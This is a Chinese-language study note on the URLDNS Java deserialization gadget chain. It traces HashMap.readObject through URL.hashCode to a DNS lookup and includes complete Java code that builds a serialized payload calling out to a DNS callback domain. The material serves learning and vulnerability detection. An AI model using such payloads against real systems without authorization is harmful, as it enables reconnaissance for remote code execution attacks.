URLDNS
- 使用java内置类构造,不需要第三方库依赖
- 在目标没有回显时,通过DNS请求进一步确认漏洞是否存在
JAVA反序列RCE三要素:反序列化利用点+gadget+RCE触发点
HashMap\
本质在使用上还是存取key-value键值对的方式,实际上引用key值的Hash映射到一维数组的形式来实现,再进入链表解决hash碰撞的问题(不同的hash映射到数组的同一位置
反序列漏洞分析
URLDNS的main方法作为整个程序的入口
- PayloadRunner.run -> Deserializer.deserialize方法的readObject方法
- -> HashMap.readObject方法的hash方法体
- hash方法体开始对传入的key进行判断,若为空则返回0,不为空则计算其hashcode值
- 判断hashcode值是否为-1,若不为-1则直接返回其hashcode,若为-1则调用handler.hashcode方法对其进行计算
- 进入URLStreamHandler的hashcode函数后,对传入的url参数进行分解,获取其协议,IP地址等,继续跟进getHostAddress(u)函数
- 获取主机的IP地址,空的字段或DNS故障的字段将导致返回空值
即就会向IP地址发出请求即可触发反序列。
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
* URLStreamHandler.hashCode()
getHostAddress()//通过url获取目标主机的IP,再将域名的计算hash拼接进入
InetAddress.getByName()
直接断点会进入jdk自带类加载,先进入口后进行下一代断点 调试时,对一个静态类加载会导致static静态代码块执行,直接跳到一步看不懂的地方,慢慢跟。
实现代码
package com.serializable;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://0thnwn88.ns.dns3.cf.");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); //修改属性权限,将private修改为public
//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
//1. 设置url的hashCode字段为0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中,右边参数随便写
hashMap.put(url, "rmb122");
//修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
f.set(url, -1);
//0x02.写入文件模 拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//0x03.读取文件,进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();// 最外层封装的是hashMap的链,即调用时自然从hashMap调用readObeject方法
}
}
hashMap的put函数其调用的hash和readObject一样,都能通过通过后续的操作实现一次DNS查询,但是如果这样的话我们就无法分辨是本机查询的黑市反序列化导致的.
- 先将hashcode属性设置为public,然后使用set将其的值设置为-1,那就可以保证在本地不会引发DNS查询,put完成以后又可以set将hashcode值设置为-1,就不会影响后续的readObject引起的DNS查询。
参考 :
https://www.anquanke.com/post/id/201762#h3-7
https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2018/12/01/analysis-java-deserialize/